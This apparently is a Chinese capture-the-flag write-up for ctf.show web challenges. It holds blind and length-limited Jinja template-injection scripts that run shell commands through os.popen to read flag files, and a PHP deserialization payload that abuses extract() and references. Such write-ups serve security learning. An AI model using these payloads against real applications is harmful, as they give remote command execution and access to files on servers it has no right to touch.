近在眼前
#!/usr/bin/env python3 from flask import Flask, render_template_string, request from flask_limiter import Limiter from flask_limiter.util import get_remote_address app = Flask(__name__) limiter = Limiter( app, key_func=get_remote_address, default_limits=["10000 per hour"] ) @limiter.limit("5/second", override_defaults=True) @app.route('/') def index(): return ("\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e")%open(__file__).read() //<pre><code>%s</code></pre> @limiter.limit("5/second", override_defaults=True) @app.route('/ssti') def check(): flag = open("/app/flag.txt", 'r').read().strip() if "input" in request.args: query = request.args["input"] render_template_string(query) return "Thank you for your input." return "No input found." app.run('0.0.0.0', 80)
ssti盲注,过滤了的会报
500 Internal Server Error
之前用到的ssti盲注脚本
import requests import string abt = string.ascii_lowercase+string.digits+'-_{}' //abcdefghijklmnopqrstuvwxyz0123456789-_{} url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/' cmd = 'ls /' ans = '' for i in range(0,80): for le in abt: payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}' data = {'key':payload} r = requests.post(url,data) if 'coleak' in r.text: ans += le print('ans = '+ans) break
这里需要修改payload为
if [ `cut -c 1 /c.txt` = "c" ];then sleep 2;fi
cut命令可以从一个文本文件或者文本流中提取文本列。
-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
-d :自定义分隔符,默认为制表符。
-f :与-d一起使用,指定显示哪个区域。
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除
ssti盲注脚本
import string import requests as req import time char_set = string.ascii_lowercase+string.digits+'-_{}' sess = req.session() flag = {} for i in range(1, 46): for c in char_set: url = r"""http://1bfa811e-2bec-419c-a3e7-da1d60d1c9b5.challenge.ctf.show/ssti?input= {{ config.__class__.__init__.__globals__['os'].popen('if [ `cut -c %d /app/flag.txt` = "%s" ];then sleep 1;fi').read() }} """ % (i, c) time.sleep(0.2) resp = sess.get(url) if resp.elapsed.seconds >= 1: print(c, end='') flag[i] = c print(flag)
import string import time import requests _url = 'http://1bfa811e-2bec-419c-a3e7-da1d60d1c9b5.challenge.ctf.show/ssti?input=' _payload_1 ="{%25 set flag=config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()%25}{%25 set sleep=config.__class__.__init__.__globals__['os'].popen('sleep 1')%25}{%25if '" _payload_2 = "' in flag%25}{{sleep.read()}}{%25endif%25}" r = requests.session() charset = string.ascii_lowercase+string.digits+'-_{}' data = '' content = 'ctfshow{' for _ in range(50): for i in charset: time.sleep(0.2) data = content + i url = _url + _payload_1 + data + _payload_2 try: r.get(url=url, timeout=(1, 1)) except Exception as e: content = data print(content) break print(data) # ctfshow{64915f1e-57be-4434-8994-d0f555e677f8}
给我看看
$you_never_know
是编码后的随机数,考点是&引用- 利用
extract($_POST);
覆盖变量
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); require_once("flag.php"); class whoami{ public $name; public $your_answer; public $useless; public function __construct(){ $this->name='ctfshow第一深情'; $this->your_answer='Only you know'; $this->useless="I_love_u"; } public function __wakeup(){ global $flag; global $you_never_know; $this->name=$you_never_know; if($this->your_answer === $this->name){ echo $flag; } } } $secret = $_GET['s']; if(isset($secret)){ if($secret==="给我看看!"){ extract($_POST); if($secret==="给我看看!"){ die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>"); } unserialize($secret); } }else{ show_source(__FILE__); }
指针取地址方式
<?php $a="coleak"; $b=&$a; $c=$a; $a="cc"; echo $b.PHP_EOL; echo $c; ?>
cc
coleak
php的引用(就是在变量或者函数、对象等前面加上&符号)
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
被引用的两者之间没有任何区别,它们都使用了同一个变量容器。 将这两者分开的唯一方法是使用 unset() 函数销毁其中任何一个变量。
<?php $a = 11; $b =& $a; unset ($a); $a++; echo $a.PHP_EOL; echo $b; ?>
1
11
poc
<?php class whoami{ public $name; public $your_answer; public $useless; } $a=new whoami(); $a->name=&$a->your_answer; echo serialize($a).PHP_EOL; //$this->your_answer === $this->name ?>
?s=给我看看!
secret=O:6:“whoami”:3:{s:4:“name”;N;s:11:“your_answer”;R:2;s:7:“useless”;N;}
通关大佬
这里本地搭建个ssti靶场
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/ssti') def check(): query = request.args["input"] return render_template_string(query) if __name__ == '__main__': app.run()
在py3下执行命令的最短方式为
ssti?input={{config.__init__.__globals__.os.popen('ipconfig').read()}}
hint
据说输入框能连起来的 <!-- /ssti.html -->
@app.route('/madlib', methods=['POST']) def madlib(): if len(request.json) == 5: verb = request.json.get('verb') noun = request.json.get('noun') adjective = request.json.get('adjective') person = request.json.get('person') place = request.json.get('place') params = [verb, noun, adjective, person, place] if any(len(i) > 21 for i in params): return 'your words must not be longer than 21 characters!', 403 madlib = f'To find out what this is you must {verb} the internet then get to the {noun} system through the visual MAC hard drive and program the open-source but overriding the bus won\'t do anything so you need to parse the online SSD transmitter, then index the neural DHCP card {adjective}.{person} taught me this trick when we met in {place} allowing you to download the knowledge of what this is directly to your brain.' return render_template_string(madlib) return 'This madlib only takes five words', 403
{adjective}.{person}这里连着的,一起的长度可以达到42,其余位置的长度最多为21
脚本如下
脚本1
import requests import re url = 'http://05fcf52c-632f-487e-8bff-f9bb5615b387.challenge.ctf.show/madlib' payload ={"verb": ["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"], "noun": "a","adjective": "a", "person": "a", "place": "a"} r = requests.post(url, json=payload) flag=r.text # flag = re.findall('ctfshow{.*}', r.text)[0] print(flag)
利用[]绕过长度限制,如下
a=["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"] noun='a' adjective='a' person='a' place='a' params = [a, noun, adjective, person, place] # if any(len(i) > 21 for i in params): # print(1) for i in params: print(len(i)) #1 1 1 1 1
脚本2
import requests import re url="http://6c9c5244-868c-4959-9ac0-f5081dcaabba.challenge.ctf.show/madlib" payload = { "verb":"{%set x=config%}", "noun":"{%set x=x.__init__%}", "adjective":"{%set x=x.__globals__", "person":"os.popen('cat fl*')%}", "place":"{{x.read()}}" } r = requests.post(url,json=payload) print(r.text) flag = re.findall(r'ctfshow{.*}',r.text)[0] print(flag) #{{config.__init__.__globals__.os.popen('ipconfig').read()}}